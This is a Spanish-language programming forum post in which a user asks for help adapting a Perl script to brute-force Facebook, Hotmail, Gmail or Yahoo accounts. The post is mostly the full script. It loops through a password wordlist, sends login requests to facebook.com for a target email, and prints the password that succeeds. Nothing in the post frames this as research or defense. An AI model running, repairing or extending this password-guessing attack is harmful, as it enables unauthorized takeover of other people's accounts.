Perl - Ayuda con este código para Hotmail Facebook Gmail Yahoo

   
Vista:
Imágen de perfil de Jus

Ayuda con este código para Hotmail Facebook Gmail Yahoo

Publicado por Jus (1 intervención) el 20/05/2017 20:01:29
Hola, soy nuevo, quisiera saber si con este código se puede hacer bruteforce de Facebook, Hotmail, Yahoo o Gmail.
Creo que figura Facebook, pero sé que hay gente que lo usa para Hotmail. Por favor agradecería mucho que me den algún tipo de ayuda o me digan qué hay que modificarle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/perl
#
 
use strict;
use Net::SSLeay::Handle;
 
if(!defined($ARGV[0] && $ARGV[1])) {
 
system('clear');
print "\n";
print"d888888b d8b   db d888888b d88888b d8888b. d8b   db  .d8b.  db    db d888888b  .d8b.  \n";
print"  `88'   888o  88 `~~88~~' 88'     88  `8D 888o  88 d8' `8b 88    88 `~~88~~' d8' `8b \n";
print"   88    88V8o 88    88    88ooooo 88oobY' 88V8o 88 88ooo88 88    88    88    88ooo88 \n";
print"   88    88 V8o88    88    88~~~~~ 88`8b   88 V8o88 88~~~88 88    88    88    88~~~88 \n";
print"  .88.   88  V888    88    88.     88 `88. 88  V888 88   88 88b  d88    88    88   88 \n";
print"Y888888P VP   V8P    YP    Y88888P 88   YD VP   V8P YP   YP ~Y8888P'    YP    YP   YP \n";
 
 
print "\033[1;31m          ======================================================\n";
print "\033[1;37m               Comando: perl Internauta.pl Email diccionario.txt\n\n\n\n\n\n\n\n\n";
print "\033[1;31m          ======================================================\n";
print "\n";
print "\n";
print "\n";
print "\n";
print "\n";
print "\n";
exit; }
 
my $user =$ARGV[0];
my $wordlist =$ARGV[1];
 
open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
 
 
print "                               Version 1.0 \n";
print "\n";
print"d888888b d8b   db d888888b d88888b d8888b. d8b   db  .d8b.  db    db d888888b  .d8b.  \n";
print"  `88'   888o  88 `~~88~~' 88'     88  `8D 888o  88 d8' `8b 88    88 `~~88~~' d8' `8b \n";
print"   88    88V8o 88    88    88ooooo 88oobY' 88V8o 88 88ooo88 88    88    88    88ooo88 \n";
print"   88    88 V8o88    88    88~~~~~ 88`8b   88 V8o88 88~~~88 88    88    88    88~~~88 \n";
print"  .88.   88  V888    88    88.     88 `88. 88  V888 88   88 88b  d88    88    88   88 \n";
print"Y888888P VP   V8P    YP    Y88888P 88   YD VP   V8P YP   YP ~Y8888P'    YP    YP   YP \n";
 
print "\033[1;31m          ======================================================\n";
print "\033[1;31m           XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX   \n";
print "\033[1;31m           XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX   \n";
print "\033[1;33m           XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX   \n";
print "\033[1;31m         ========================================================\n";
 
print "\033[1;39m\n [+] Iniciando Ataque en: $user ...\n\n";
print "=======================================\n";
 
while (my$password=<LIST>) {
chomp ($password);
$password=~s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;

my $a = "POST /login.php HTTP/1.1";
my $b = "Host: www.facebook.com";
my $c = "Connection: close";
my $e = "Cache-Control: max-age=0";
my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
my $g = "Origin: https://www.facebook.com";
my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
my $i = "Content-Type: application/x-www-form-urlencoded";
my $j = "Accept-Encoding: gzip,deflate,sdch";
my $k = "Accept-Language: en-US,en;q=0.8";
my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";

my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
my $cl = length($post);
my $d = "Content-Length: $cl";


my ($host, $port) = ("www.facebook.com", 443);

tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  

print SSL "$a\n";
print SSL "$b\n";
print SSL "$c\n";
print SSL "$d\n";
print SSL "$e\n";
print SSL "$f\n";
print SSL "$g\n";
print SSL "$h\n";
print SSL "$i\n";
print SSL "$j\n";
print SSL "$k\n";
print SSL "$l\n";
print SSL "$cookie\n\n";

print SSL "$post\n";

my$success;
while(my$result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print "\033[1;31m[-] $password -> Esta no es \n";
close SSL;
}
else
{
print "\033[1;32m\n########################################################\n";
print "[+]\033[1;32m Esta es: $password\n";
print "\033[1;32m########################################################\n\n";
close SSL;
exit;
}
}
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder